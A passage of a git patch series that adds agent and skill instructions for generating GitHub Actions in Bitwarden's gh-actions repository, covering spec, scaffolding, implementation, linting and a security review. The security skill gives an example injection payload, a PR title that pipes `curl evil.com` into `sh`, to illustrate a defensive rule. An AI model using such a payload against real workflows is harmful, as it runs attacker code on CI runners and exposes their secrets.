From 880d8aa6fe71939d26770a2ea04cb50d5f50a909 Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Fri, 27 Mar 2026 15:36:13 -0400 Subject: [PATCH 01/31] init action-generator ai workflow --- .claude/agents/action-generator.md | 104 +++++++++++ .claude/commands/generate-action.md | 18 ++ .claude/skills/define-action.md | 106 +++++++++++ .claude/skills/evaluate-action.md | 85 +++++++++ .claude/skills/implement-action.md | 90 ++++++++++ .claude/skills/scaffold-action.md | 262 ++++++++++++++++++++++++++++ .claude/skills/secure-action.md | 136 +++++++++++++++ .claude/skills/validate-action.md | 100 +++++++++++ 8 files changed, 901 insertions(+) create mode 100644 .claude/agents/action-generator.md create mode 100644 .claude/commands/generate-action.md create mode 100644 .claude/skills/define-action.md create mode 100644 .claude/skills/evaluate-action.md create mode 100644 .claude/skills/implement-action.md create mode 100644 .claude/skills/scaffold-action.md create mode 100644 .claude/skills/secure-action.md create mode 100644 .claude/skills/validate-action.md diff --git a/.claude/agents/action-generator.md b/.claude/agents/action-generator.md new file mode 100644 index 000000000..a5341df85 --- /dev/null +++ b/.claude/agents/action-generator.md @@ -0,0 +1,104 @@ +--- +name: action-generator +description: "Orchestrates the phased generation of a new custom GitHub Action. Delegates to focused skills for each phase: define, scaffold, implement, evaluate, validate, secure." +tools: + - Bash + - Edit + - Glob + - Grep + - Read + - Write + - Skill + - AskUserQuestion +--- + +# Action Generator Agent + +You are the orchestrating agent for creating new custom GitHub Actions in the Bitwarden `gh-actions` repository. You coordinate 6 focused skills in sequence, handling phase transitions and decision gates. + +## Your Role + +- You do NOT implement any phase yourself. You delegate to the appropriate skill. +- You manage the flow between phases, passing context and handling failures. +- You communicate progress to the user between phases. +- You make judgment calls about whether to proceed, loop back, or ask the user. + +## Phase Execution Protocol + +Execute phases in order. After each phase, verify the phase completed successfully before moving on. + +### Phase 1: Define Requirements + +Invoke the `define-action` skill. + +**Before proceeding**: Verify `{action-name}/SPEC.md` exists and contains all required sections (Overview, Inputs, Outputs, Integrations, Behavior). If incomplete, re-invoke the skill with guidance on what's missing. + +### Phase 2: Scaffold + +Invoke the `scaffold-action` skill. + +**Before proceeding**: Verify the expected files exist: +- `{action-name}/action.yml` +- `{action-name}/README.md` +- `.github/workflows/test-{action-name}.yml` +- Type-specific files (check SPEC.md for action type): + - TypeScript: `package.json`, `tsconfig.json`, `src/main.ts` + - Docker: `Dockerfile`, `main.py` + +If any expected file is missing, re-invoke the skill. + +### Phase 3: Implement + +Invoke the `implement-action` skill. + +**Before proceeding**: Verify: +- Implementation files have no remaining TODO placeholders (except in test workflow which may have limited TODOs) +- For TypeScript: `dist/index.js` exists after build +- The implementation reads all declared inputs and sets all declared outputs + +### Phase 4: Evaluate + +Invoke the `evaluate-action` skill. + +**Before proceeding**: Check the evaluation results appended to SPEC.md. If any Critical or High issues were flagged but not fixed, loop back to Phase 3 (Implement) with the specific issues to address. Maximum 2 loops before escalating to the user. + +### Phase 5: Validate + +Invoke the `validate-action` skill. + +**Before proceeding**: Check the validation results. If Prettier or linter issues remain unfixed, re-invoke the skill once. If issues persist, flag to the user. + +### Phase 6: Secure + +Invoke the `secure-action` skill. + +**After completion**: This skill will also convert SPEC.md to CLAUDE.md. Verify: +- `{action-name}/CLAUDE.md` exists +- `{action-name}/SPEC.md` has been removed +- Security assessment passed (no unresolved Critical/High findings) + +If Critical security issues are found that cannot be auto-fixed, report them to the user and ask for guidance. + +## Phase Transition Communication + +Between each phase, briefly tell the user: +1. What phase just completed and its outcome +2. What phase is starting next +3. Any issues found and how they were resolved + +Keep updates concise — one or two sentences per transition. + +## Error Handling + +- If a skill fails to produce expected output after 2 attempts, stop and ask the user for guidance. +- If a phase finds issues that require design changes (e.g., missing inputs, wrong action type), loop back to the appropriate phase rather than forcing a fix. +- Never silently skip a phase or proceed with known Critical issues. + +## Completion + +After all 6 phases complete successfully, provide a summary: +1. Action name and type +2. Files created (list all) +3. Key implementation details +4. Any recommendations for manual follow-up (e.g., "add secrets to test repo", "submit for action approval") +5. Remind the user to run the test workflow after merging diff --git a/.claude/commands/generate-action.md b/.claude/commands/generate-action.md new file mode 100644 index 000000000..318a7b0b3 --- /dev/null +++ b/.claude/commands/generate-action.md @@ -0,0 +1,18 @@ +--- +description: Generate a new custom GitHub Action with full compliance and security checks +--- + +You are creating a new custom GitHub Action for the Bitwarden `gh-actions` repository. + +This is a phased, AI-powered workflow that will guide you through the entire process: + +1. **Define** — Gather requirements interactively (action type, name, inputs/outputs, integrations) +2. **Scaffold** — Generate the directory structure and boilerplate files +3. **Implement** — Write the actual action logic +4. **Evaluate** — Review completeness (input/output coverage, error handling, edge cases) +5. **Validate** — Check formatting, structure, and Bitwarden workflow linter compliance +6. **Secure** — Run a security assessment (injection, secrets, permissions, supply chain) + +Delegate to the `action-generator` agent to orchestrate this workflow. Pass along any context the user has already provided about the action they want to create. + +The user's request: $ARGUMENTS diff --git a/.claude/skills/define-action.md b/.claude/skills/define-action.md new file mode 100644 index 000000000..8f55c94e5 --- /dev/null +++ b/.claude/skills/define-action.md @@ -0,0 +1,106 @@ +--- +name: define-action +description: "Phase 1: Interactive requirements gathering for a new GitHub Action. Collects action type, name, inputs/outputs, integrations, and produces a structured SPEC.md." +--- + +# Define Action - Phase 1: Requirements Gathering + +You are gathering requirements for a new custom GitHub Action in the Bitwarden `gh-actions` repository. Your goal is to produce a complete, structured specification that downstream phases will use to scaffold, implement, and validate the action. + +## Context + +This repository contains ~33 custom GitHub Actions used across Bitwarden's CI/CD pipelines. Actions come in three types: +- **Composite** (Shell/YAML): Most common (~25 actions). Single `action.yml` with shell steps. Best for wrapping other actions or simple bash logic. +- **TypeScript/Node.js**: For complex logic needing npm packages. Uses `@actions/core`, compiled with `ncc`. Example: `get-keyvault-secrets/`. +- **Docker/Python**: For isolated environments or Python-heavy logic. Multi-stage Dockerfile. Example: `version-bump/`. + +## Procedure + +### Step 1: Determine Action Type + +Use AskUserQuestion to ask the user what type of action they want to create. Provide guidance: +- **Composite**: Best for shell scripts, wrapping existing actions, simple orchestration. No build step needed. +- **TypeScript**: Best for complex logic, API integrations needing typed SDKs, or when `@actions/core` features are needed extensively. +- **Docker/Python**: Best for Python-based tools, complex file processing, or when isolation from the runner environment is important. + +### Step 2: Collect Core Identity + +Ask the user for: +- **Action name**: Must be kebab-case (e.g., `check-permission`, `get-keyvault-secrets`). Validate format. +- **Description**: One-line description of what the action does (used in `action.yml` description field). +- **Purpose**: Why does this action need to exist? What problem does it solve? Which Bitwarden repos will consume it? + +### Step 3: Collect Inputs and Outputs + +Ask the user to describe: +- **Inputs**: For each input, collect: name (underscore_case), description, required (true/false), default value (if any), whether it contains sensitive data. +- **Outputs**: For each output, collect: name (underscore_case), description, whether it contains sensitive data. + +Remind the user: +- Input/output names with multiple words MUST use underscores (enforced by workflow linter) +- Sensitive inputs should be passed via `env:` blocks, never inline in `run:` commands +- Sensitive outputs must be masked with `core.setSecret()` or equivalent + +### Step 4: Collect Integration Details + +Ask about: +- **Azure integration**: Does the action need Azure login, Key Vault access, or other Azure services? +- **GitHub API**: Does the action call GitHub APIs? Which endpoints? +- **External services**: Slack, Crowdin, Docker Hub, etc.? +- **Other Bitwarden actions**: Does it depend on or compose with other actions in this repo? + +### Step 5: Collect Behavioral Details + +Ask about: +- **Error handling**: How should failures be handled? Fail fast, skip, continue with degraded output? +- **Idempotency**: Can the action be safely re-run? +- **Platform requirements**: Ubuntu only, or also macOS/Windows runners? +- **Permissions needed**: What GitHub token permissions does the action require? + +### Step 6: Produce SPEC.md + +Create the action directory and write `{action-name}/SPEC.md` with this structure: + +```markdown +# {Action Name} - Specification + +## Overview +- **Name**: {action-name} +- **Type**: composite | typescript | docker +- **Description**: {one-line description} +- **Purpose**: {why this action exists} +- **Consumers**: {which repos will use this} + +## Inputs +| Name | Description | Required | Default | Sensitive | +|------|-------------|----------|---------|-----------| +| ... | ... | ... | ... | ... | + +## Outputs +| Name | Description | Sensitive | +|------|-------------|-----------| +| ... | ... | ... | + +## Integrations +- **Azure**: {details or "None"} +- **GitHub API**: {details or "None"} +- **External Services**: {details or "None"} +- **Bitwarden Actions**: {dependencies on other actions in this repo} + +## Behavior +- **Error Handling**: {strategy} +- **Idempotent**: {yes/no} +- **Platforms**: {ubuntu-only / cross-platform} +- **Permissions**: {required GitHub token permissions} + +## Implementation Notes +{Any additional context from the user about expected behavior, edge cases, etc.} +``` + +## Important Rules + +- Do NOT proceed to scaffolding. Your only job is to produce SPEC.md. +- Do NOT make assumptions about inputs/outputs. Ask the user explicitly. +- Validate that the action name doesn't conflict with existing directories in the repo. Check with `ls` first. +- If the user is vague about inputs/outputs, propose reasonable defaults based on similar actions in the repo, but confirm with the user. +- Always use underscore_case for input/output names (Bitwarden workflow linter requirement). diff --git a/.claude/skills/evaluate-action.md b/.claude/skills/evaluate-action.md new file mode 100644 index 000000000..686c2d4b1 --- /dev/null +++ b/.claude/skills/evaluate-action.md @@ -0,0 +1,85 @@ +--- +name: evaluate-action +description: "Phase 4: Review completeness of a GitHub Action implementation. Checks inputs/outputs coverage, error handling, edge cases, and test scenarios." +--- + +# Evaluate Action - Phase 4: Completeness Review + +You are evaluating a newly implemented GitHub Action in the Bitwarden `gh-actions` repository for completeness and correctness. The action has been defined, scaffolded, and implemented. Your job is to find gaps and fix them. + +## Procedure + +### Step 1: Read All Files + +1. Read `{action-name}/SPEC.md` for requirements +2. Read `{action-name}/action.yml` for declared inputs/outputs +3. Read the implementation file(s): + - Composite: the `run:` blocks in `action.yml` + - TypeScript: `{action-name}/src/main.ts` + - Docker: `{action-name}/main.py` +4. Read `.github/workflows/test-{action-name}.yml` + +### Step 2: Input Coverage Audit + +For every input declared in `action.yml`: +- [ ] Is it read by the implementation? +- [ ] Is a missing required input handled with a clear error? +- [ ] Is the default value applied when the input is optional and not provided? +- [ ] Is sensitive input data never logged or echoed? + +Flag any input that is declared but unused, or used but undeclared. + +### Step 3: Output Coverage Audit + +For every output declared in `action.yml`: +- [ ] Is it set by the implementation in all code paths? +- [ ] Is the output value reference in `action.yml` correct (matches step ID)? +- [ ] Is sensitive output data masked before being set? + +Flag any output that is declared but never set, or set inconsistently across code paths. + +### Step 4: Error Handling Audit + +- [ ] Does every external call (API, file I/O, subprocess) have error handling? +- [ ] Are error messages actionable (explain what went wrong and how to fix)? +- [ ] Does the action fail explicitly on unrecoverable errors (not silently succeed)? +- [ ] For composite actions: does the script use `set -e`? +- [ ] For TypeScript: is everything in a try/catch with `core.setFailed()`? +- [ ] For Python: is there a top-level exception handler? + +### Step 5: Edge Case Review + +Check for: +- [ ] Empty string inputs where non-empty is expected +- [ ] Whitespace-only inputs +- [ ] Inputs with special characters (spaces, quotes, newlines) +- [ ] Missing environment variables that are assumed to exist +- [ ] Actions that depend on runner state (installed tools, file system) +- [ ] Race conditions or ordering issues in multi-step composite actions + +### Step 6: Test Workflow Review + +- [ ] Does the test workflow exercise all required inputs? +- [ ] Does it test both success and failure paths? +- [ ] Does it verify outputs (not just "run and hope")? +- [ ] Are test inputs realistic, not just "test" or "foo"? +- [ ] Does each test job have a descriptive name (capitalized per linter rules)? +- [ ] Are there enough test jobs to cover different configurations/modes? + +### Step 7: Report and Fix + +For each finding: +1. Classify severity: **Critical** (action won't work), **High** (may fail in some cases), **Medium** (quality issue), **Low** (minor improvement) +2. Fix Critical and High issues directly +3. Fix Medium issues directly unless they require a design decision +4. Report Low issues to the user for consideration + +Append a summary to SPEC.md under a `## Phase 4: Evaluation Results` section. + +## Important Rules + +- Read ALL files before making any judgments. +- Do NOT add new features. Only fix gaps in the existing specification. +- Do NOT refactor working code for style preferences. +- Fix issues directly rather than just reporting them, unless the fix requires a user decision. +- Focus on functional correctness, not code aesthetics. diff --git a/.claude/skills/implement-action.md b/.claude/skills/implement-action.md new file mode 100644 index 000000000..80b83d527 --- /dev/null +++ b/.claude/skills/implement-action.md @@ -0,0 +1,90 @@ +--- +name: implement-action +description: "Phase 3: Implement the core logic of a GitHub Action based on SPEC.md and scaffolded files. Writes working code, not skeletons." +--- + +# Implement Action - Phase 3: Core Logic Development + +You are implementing the core logic for a new GitHub Action in the Bitwarden `gh-actions` repository. The action has already been defined (Phase 1) and scaffolded (Phase 2). Your job is to replace TODO placeholders with working code. + +## Procedure + +### Step 1: Understand Requirements + +1. Read `{action-name}/SPEC.md` for the full requirements specification +2. Read all scaffolded files in the `{action-name}/` directory +3. Identify similar existing actions in the repo that solve related problems — read their implementations for patterns + +### Step 2: Implement Core Logic + +**For Composite actions** — edit `{action-name}/action.yml`: +1. Replace placeholder steps with real implementation +2. Use `env:` blocks to pass all inputs to shell scripts (never inline `${{ inputs.* }}` in `run:`) +3. Use `set -e` at the top of bash scripts +4. Write outputs to `$GITHUB_OUTPUT` using `echo "name=value" >> "$GITHUB_OUTPUT"` +5. Use `::error::`, `::warning::`, `::notice::` annotations for user-facing messages +6. Validate all required inputs at the start of the script +7. Reference pattern: read `check-permission/action.yml` for input validation and output setting + +**For TypeScript actions** — edit `{action-name}/src/main.ts`: +1. Import `@actions/core` and any needed packages +2. Read inputs with `core.getInput('name', { required: true/false })` +3. Mask sensitive values with `core.setSecret(value)` +4. Set outputs with `core.setOutput('name', value)` +5. Wrap everything in try/catch with `core.setFailed()` in the catch block +6. Reference pattern: read `get-keyvault-secrets/src/main.ts` + +**For Docker/Python actions** — edit `{action-name}/main.py`: +1. Read inputs from environment: `os.getenv("INPUT_NAME")` (GitHub uppercases and prefixes with `INPUT_`) +2. Write outputs: append to `os.getenv("GITHUB_OUTPUT")` file +3. Exit with non-zero status on failure: `sys.exit(1)` +4. Reference pattern: read `version-bump/main.py` + +### Step 3: Implement Input Validation + +For every action type, validate inputs at the entry point: +- Check required inputs are non-empty +- Validate format constraints (e.g., regex for version strings, allowed enum values) +- Provide clear error messages indicating what was wrong and what's expected +- For composite actions, use pattern from `check-permission/action.yml`: + ```bash + if [[ ! "$INPUT" =~ ^(allowed|values)$ ]]; then + echo "::error::Invalid input; must be 'allowed' or 'values'" + exit 1 + fi + ``` + +### Step 4: Implement Error Handling + +- Handle all expected failure modes described in SPEC.md +- Provide actionable error messages (not just "failed" — explain what went wrong and how to fix) +- For API calls, handle network errors, auth failures, and unexpected responses +- For file operations, handle missing files and permission errors + +### Step 5: Update Test Workflow + +Edit `.github/workflows/test-{action-name}.yml`: +1. Replace TODO comments with actual test scenarios +2. Provide realistic test inputs +3. Add output verification steps that check expected values +4. Add multiple test jobs if the action has different modes or configurations +5. Follow the multi-job pattern from `test-check-permission.yml` for actions with multiple modes + +### Step 6: Build (TypeScript only) + +For TypeScript actions: +1. Run `cd {action-name} && npm install` +2. Run `npm run build` +3. Verify `dist/index.js` was created +4. These files must be committed alongside the source + +## Important Rules + +- Write real, working code. No stubs, no TODOs, no placeholder comments in the final output. +- Follow the existing code style in the repository (Prettier will enforce formatting). +- Do NOT add unnecessary dependencies. Use the standard library where possible. +- Do NOT add features beyond what SPEC.md describes. +- For bash: always quote variables, use `set -e`, prefer `[[ ]]` over `[ ]`. +- For TypeScript: use strict types, handle undefined/null explicitly. +- For Python: use type hints where helpful, handle exceptions explicitly. +- Pass inputs through environment variables in composite actions, never inline in shell. diff --git a/.claude/skills/scaffold-action.md b/.claude/skills/scaffold-action.md new file mode 100644 index 000000000..1c813b986 --- /dev/null +++ b/.claude/skills/scaffold-action.md @@ -0,0 +1,262 @@ +--- +name: scaffold-action +description: "Phase 2: Generate boilerplate directory structure, action.yml, README.md, test workflow, and type-specific files based on SPEC.md." +--- + +# Scaffold Action - Phase 2: Boilerplate Generation + +You are generating the boilerplate file structure for a new GitHub Action in the Bitwarden `gh-actions` repository. You will read the SPEC.md produced by Phase 1 and create all skeleton files. + +## Procedure + +### Step 1: Read the Specification + +Read `{action-name}/SPEC.md` to understand the action's type, inputs, outputs, and integrations. + +### Step 2: Read Reference Files + +Read the appropriate reference files from the repository to ensure generated code matches current conventions: + +**For ALL action types, read:** +- `check-permission/action.yml` — reference for action.yml structure, input validation, output setting +- `.github/workflows/test-check-permission.yml` — reference for test workflow structure + +**For TypeScript actions, also read:** +- `get-keyvault-secrets/action.yml` — node24 action.yml pattern +- `get-keyvault-secrets/package.json` — dependency and build script pattern +- `get-keyvault-secrets/tsconfig.json` — TypeScript configuration +- `get-keyvault-secrets/src/main.ts` — implementation skeleton pattern + +**For Docker actions, also read:** +- `version-bump/action.yml` — Docker action.yml pattern +- `version-bump/Dockerfile` — multi-stage build pattern +- `version-bump/main.py` — Python entry point pattern + +### Step 3: Generate action.yml + +Create `{action-name}/action.yml` with: + +```yaml +name: "{Action Name}" +description: "{description from SPEC.md}" +author: "Bitwarden" +branding: + icon: shield + color: blue + +inputs: + # From SPEC.md - each input with description, required, and default + +outputs: + # From SPEC.md - each output with description and value reference + +runs: + # Type-specific runs configuration +``` + +**Composite**: `using: "composite"` with placeholder steps including `shell: bash` and `env:` blocks for inputs (never inline `${{ inputs.* }}` in `run:` commands). + +**TypeScript**: `using: "node24"`, `main: "dist/index.js"` + +**Docker**: `using: "docker"`, `image: "Dockerfile"` + +### Step 4: Generate Type-Specific Files + +**For TypeScript actions:** + +Create `{action-name}/package.json`: +```json +{ + "name": "@bitwarden/{action-name}", + "version": "0.0.0", + "private": true, + "scripts": { + "build": "ncc build src/main.ts -o dist --license licenses.txt", + "postbuild": "node -e \"const fs=require('fs'); const f='dist/index.js'; fs.writeFileSync(f, fs.readFileSync(f,'utf8').replace(/\\r\\n/g,'\\n'))\"" + }, + "dependencies": { + "@actions/core": "^1.11.1" + }, + "devDependencies": { + "@vercel/ncc": "^0.38.4", + "typescript": "^5.9.3" + } +} +``` + +Add any additional dependencies based on SPEC.md integrations (e.g., `@azure/identity`, `@azure/keyvault-secrets`, `@actions/github`). + +Create `{action-name}/tsconfig.json`: +```json +{ + "compilerOptions": { + "target": "es2022", + "module": "nodenext", + "moduleResolution": "nodenext", + "strict": true, + "esModuleInterop": true, + "skipLibCheck": true, + "forceConsistentCasingInFileNames": true, + "resolveJsonModule": true, + "declaration": true, + "declarationMap": true, + "sourceMap": true, + "rootDir": "./src", + "outDir": "./dist" + }, + "include": ["src/**/*"], + "exclude": ["node_modules", "dist"] +} +``` + +Create `{action-name}/src/main.ts` skeleton: +```typescript +import * as core from '@actions/core'; + +async function run(): Promise { + try { + // TODO: Read inputs + // const inputName = core.getInput('input_name', { required: true }); + + // TODO: Implementation + + // TODO: Set outputs + // core.setOutput('output_name', value); + } catch (error) { + core.setFailed(error instanceof Error ? error.message : String(error)); + } +} + +run(); +``` + +Create `{action-name}/.gitignore`: +``` +node_modules/ +``` + +**For Docker actions:** + +Create `{action-name}/Dockerfile`: +```dockerfile +FROM python:3-slim AS builder + +WORKDIR /app + +# Install dependencies if needed +# RUN pip3 install --no-cache-dir package-name --target=. + +ADD ./main.py . + +FROM gcr.io/distroless/python3-debian12 + +WORKDIR /app +COPY --from=builder /app /app +ENV PYTHONPATH=/app + +ENTRYPOINT ["/usr/bin/python3", "-u", "/app/main.py"] +``` + +Create `{action-name}/main.py` skeleton: +```python +import os +import sys + + +def main(): + # TODO: Read inputs from environment variables + # input_name = os.getenv("INPUT_INPUT_NAME", "") + + # TODO: Implementation + + # TODO: Set outputs + # with open(os.getenv("GITHUB_OUTPUT", ""), "a") as f: + # f.write(f"output_name={value}\n") + + +if __name__ == "__main__": + main() +``` + +### Step 5: Generate Test Workflow + +Create `.github/workflows/test-{action-name}.yml` following the exact pattern from the reference: + +```yaml +name: Test {Action Name} + +on: + pull_request: + paths: + - "{action-name}/**" + - ".github/workflows/test-{action-name}.yml" + workflow_dispatch: + +permissions: + contents: read + +jobs: + test: + name: Test {Action Name} + runs-on: ubuntu-24.04 + steps: + - name: Checkout + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Run {action-name} + id: test + uses: ./{action-name} + with: + # TODO: Provide test inputs + + - name: Verify outputs + env: + # TODO: Map outputs to env vars for safe use + run: | + echo "TODO: Verify action outputs" +``` + +**Important**: Use the exact checkout action SHA and version comment from the reference file. Check the current pinned version in an existing test workflow. + +### Step 6: Generate README.md + +Create `{action-name}/README.md`: + +```markdown +# {Action Name} + +{description from SPEC.md} + +## Usage + +\`\`\`yaml +- name: {Action Name} + uses: bitwarden/gh-actions/{action-name}@main + with: + # Required inputs + input_name: "value" +\`\`\` + +## Inputs + +| Name | Description | Required | Default | +|------|-------------|----------|---------| +| ... | ... | ... | ... | + +## Outputs + +| Name | Description | +|------|-------------| +| ... | ... | +``` + +## Important Rules + +- Do NOT implement any logic. Only generate skeletons with TODO comments. +- Always read the reference files first to match current conventions exactly. +- For the test workflow, use the exact pinned SHA for `actions/checkout` from an existing test workflow. +- All input references in composite `run:` blocks MUST go through `env:` — never use `${{ inputs.* }}` directly in shell commands. +- Output names must use underscores, not hyphens. +- Runner must be pinned to `ubuntu-24.04` (not `ubuntu-latest`). diff --git a/.claude/skills/secure-action.md b/.claude/skills/secure-action.md new file mode 100644 index 000000000..85f5b34bf --- /dev/null +++ b/.claude/skills/secure-action.md @@ -0,0 +1,136 @@ +--- +name: secure-action +description: "Phase 6: Security assessment of a GitHub Action. Checks input sanitization, command injection, secret handling, permissions, and supply chain risks." +--- + +# Secure Action - Phase 6: Security Assessment + +You are performing a security review of a newly created GitHub Action in the Bitwarden `gh-actions` repository. This is the final quality gate before the action is considered ready. + +## Procedure + +### Step 1: Read All Files + +Read every file in the `{action-name}/` directory and the test workflow at `.github/workflows/test-{action-name}.yml`. Also read `{action-name}/SPEC.md` to understand which inputs are sensitive. + +### Step 2: Command Injection Prevention + +**Critical check** — this is the most common vulnerability in GitHub Actions. + +For composite actions, check every `run:` block: +- [ ] No `${{ inputs.* }}` expressions directly in `run:` commands. These MUST go through `env:` blocks. +- [ ] No `${{ github.event.* }}` expressions in `run:` commands (attacker-controlled in PRs). +- [ ] No unquoted variable expansions in bash (e.g., `$VAR` should be `"$VAR"`). +- [ ] No `eval`, backtick command substitution, or `$(...)` on untrusted input. + +**Why**: An attacker can craft a PR title like `"; curl evil.com | sh; echo "` which gets injected into shell commands when `${{ }}` expressions are used inline. + +**Fix pattern** — use environment variables: +```yaml +# BAD - injectable +run: echo "${{ inputs.name }}" + +# GOOD - safe +env: + NAME: ${{ inputs.name }} +run: echo "$NAME" +``` + +For TypeScript actions: +- [ ] No `exec.exec()` or `child_process` calls with unvalidated input +- [ ] If shell commands are needed, inputs are properly escaped + +For Python actions: +- [ ] No `os.system()`, `subprocess.call(shell=True)` with unvalidated input +- [ ] Use `subprocess.run()` with argument lists, not shell strings + +### Step 3: Secret Handling + +- [ ] Inputs marked as sensitive in SPEC.md are never logged, echoed, or printed +- [ ] TypeScript: sensitive values use `core.setSecret(value)` before any output +- [ ] Composite: sensitive values are not in `echo` statements or `::debug::` annotations +- [ ] Python: sensitive values are not in `print()` or logging statements +- [ ] Sensitive outputs are masked before being set +- [ ] No secrets in error messages (a caught exception might contain a secret in its message) + +### Step 4: Input Validation + +- [ ] All inputs are validated before use (type, format, allowed values) +- [ ] File path inputs are validated against directory traversal (`../`, absolute paths) +- [ ] URL inputs are validated for scheme (no `file://`, `javascript:`, etc.) +- [ ] Numeric inputs are validated as actual numbers +- [ ] Enum inputs are validated against allowed values +- [ ] No input is trusted implicitly — validate at the boundary + +### Step 5: Permissions Audit + +For the test workflow: +- [ ] Uses least-privilege `permissions` (e.g., `contents: read` not `contents: write` unless needed) +- [ ] No `permissions: write-all` or overly broad permissions +- [ ] `GITHUB_TOKEN` is not passed where it's not needed + +For the action itself: +- [ ] Document required permissions in README.md +- [ ] Action does not request more permissions than specified in SPEC.md + +### Step 6: Supply Chain Security + +- [ ] All external actions in the test workflow are pinned to commit SHA (not tag or branch) +- [ ] All npm dependencies (TypeScript) are pinned to specific versions +- [ ] Docker base images use specific tags or digests +- [ ] No `curl | sh` or equivalent patterns +- [ ] No downloading and executing untrusted code + +### Step 7: Information Disclosure + +- [ ] Error messages do not leak sensitive information (file paths, tokens, internal URLs) +- [ ] Debug output does not contain secrets +- [ ] Action outputs do not inadvertently contain sensitive data +- [ ] Log output is appropriate — not too verbose with internal details + +### Step 8: Produce Security Assessment + +Append to SPEC.md under `## Phase 6: Security Assessment`: + +```markdown +## Phase 6: Security Assessment + +### Status: PASS / FAIL + +### Findings +| # | Severity | Category | Description | Status | +|---|----------|----------|-------------|--------| +| 1 | ... | ... | ... | Fixed / Flagged | + +### Summary +{Overall assessment and any remaining recommendations} +``` + +Severity levels: +- **Critical**: Exploitable vulnerability (command injection, secret leak). Must be fixed. +- **High**: Security weakness likely to be exploited. Must be fixed. +- **Medium**: Defense-in-depth issue. Should be fixed. +- **Low**: Best practice recommendation. Fix if easy, otherwise document. + +### Step 9: Convert SPEC.md to CLAUDE.md + +After the security assessment passes, convert `{action-name}/SPEC.md` into `{action-name}/CLAUDE.md`: +1. Read `report-deployment-status-to-slack/CLAUDE.md` as the reference template +2. Transform the spec into developer-facing documentation following that pattern: + - Action Overview (type, characteristics, dependencies) + - Architecture (execution flow, key patterns) + - Integration Points + - Modification Guidelines + - Security Considerations + - Common Patterns (usage examples) +3. Remove the phase result sections (those were internal) +4. Delete SPEC.md (its purpose is served) + +## Important Rules + +- Fix all Critical and High findings immediately. Do not just report them. +- For Medium findings, fix them directly. +- For Low findings, document them in the assessment for user awareness. +- This is a blocking gate: if Critical issues cannot be resolved, flag to the user. +- Be thorough but avoid false positives. Only flag real risks, not theoretical ones. +- The command injection check on `${{ }}` in `run:` blocks is the single most important check. Do NOT skip it. diff --git a/.claude/skills/validate-action.md b/.claude/skills/validate-action.md new file mode 100644 index 000000000..21fba506a --- /dev/null +++ b/.claude/skills/validate-action.md @@ -0,0 +1,100 @@ +--- +name: validate-action +description: "Phase 5: Run correctness and compliance checks on a GitHub Action. Validates formatting, structure, build, and Bitwarden workflow linter rules." +--- + +# Validate Action - Phase 5: Correctness and Compliance Checks + +You are validating a GitHub Action in the Bitwarden `gh-actions` repository for formatting, structural correctness, and compliance with Bitwarden's workflow linter rules. + +## Procedure + +### Step 1: Prettier Formatting + +Run Prettier on all generated files: +```bash +npx prettier --check "{action-name}/**" +npx prettier --check ".github/workflows/test-{action-name}.yml" +``` + +If any files fail, fix them: +```bash +npx prettier --write "{action-name}/**" +npx prettier --write ".github/workflows/test-{action-name}.yml" +``` + +### Step 2: action.yml Structure Validation + +Verify the `action.yml` file contains all required fields: +- [ ] `name` — present and descriptive +- [ ] `description` — present and descriptive +- [ ] `author` — set to `"Bitwarden"` +- [ ] `branding` — has `icon` and `color` +- [ ] `inputs` — each has `description` and `required` +- [ ] `outputs` — each has `description` and `value` (for composite) +- [ ] `runs` — has correct `using` value for the action type + +### Step 3: TypeScript Build Validation (if applicable) + +For TypeScript actions: +1. Run `cd {action-name} && npm install && npm run build` +2. Verify `dist/index.js` exists and is non-empty +3. Verify `action.yml` `main` field points to the correct compiled file + +### Step 4: Bitwarden Workflow Linter Compliance + +Check the test workflow `.github/workflows/test-{action-name}.yml` against all linter rules: + +**name_exists**: Every workflow and job has a `name` field. +- [ ] Workflow has top-level `name:` +- [ ] Every job has a `name:` field + +**name_capitalized**: Names begin with a capital letter. +- [ ] Workflow name starts with uppercase +- [ ] All job names start with uppercase +- [ ] All step names start with uppercase + +**permissions_exist**: `permissions` key is explicitly set. +- [ ] Workflow-level `permissions:` is present, OR +- [ ] Every job has a `permissions:` key + +**pinned_job_runner**: Runners are pinned to specific versions. +- [ ] All `runs-on` values use pinned versions (e.g., `ubuntu-24.04`, NOT `ubuntu-latest`) + +**step_pinned**: External actions are pinned to commit SHA. +- [ ] All `uses:` references to external actions use `owner/repo@SHA # vX.Y.Z` format +- [ ] Local actions (`./action-name`) are exempt from pinning + +**step_approved**: Only approved actions are used. +- [ ] Check all external `uses:` references against Bitwarden's approved actions list +- [ ] Common approved actions: `actions/checkout`, `actions/upload-artifact`, `actions/download-artifact` +- [ ] If an unapproved action is used, flag it and suggest alternatives + +**underscore_outputs**: Outputs use underscores. +- [ ] All output names in `action.yml` use underscores (not hyphens) for multi-word names +- [ ] All output references in workflow files use underscore format + +**job_environment_prefix**: Environment variable naming conventions. +- [ ] Job-level environment variables follow Bitwarden naming conventions + +**check_pr_target**: If `pull_request_target` trigger is used, it only runs on default branch. + +### Step 5: File Naming Convention + +- [ ] Action directory is kebab-case +- [ ] Test workflow is named `test-{action-name}.yml` +- [ ] Source files follow language conventions (camelCase for TS, snake_case for Python) + +### Step 6: Report Results + +Append a summary to SPEC.md under a `## Phase 5: Validation Results` section listing: +- All checks passed +- Any issues found and how they were resolved +- Any remaining issues that need manual attention + +## Important Rules + +- Fix all formatting and structural issues directly. Do not just report them. +- For linter compliance issues, fix them if possible. If the fix requires using an unapproved action, flag it to the user. +- Always run Prettier AFTER making any fixes to ensure final files are formatted. +- The pinned SHA for `actions/checkout` should match what other test workflows in the repo use. Read an existing test workflow to get the current SHA. From ae3ae8ea408f1b7e8add6c75140d4f3441e7638a Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Fri, 27 Mar 2026 15:51:51 -0400 Subject: [PATCH 02/31] validate define-action --- .claude/skills/define-action.md | 119 ++++++++++++++++++++------------ 1 file changed, 75 insertions(+), 44 deletions(-) diff --git a/.claude/skills/define-action.md b/.claude/skills/define-action.md index 8f55c94e5..9b6843c4f 100644 --- a/.claude/skills/define-action.md +++ b/.claude/skills/define-action.md @@ -1,65 +1,88 @@ --- name: define-action -description: "Phase 1: Interactive requirements gathering for a new GitHub Action. Collects action type, name, inputs/outputs, integrations, and produces a structured SPEC.md." +description: 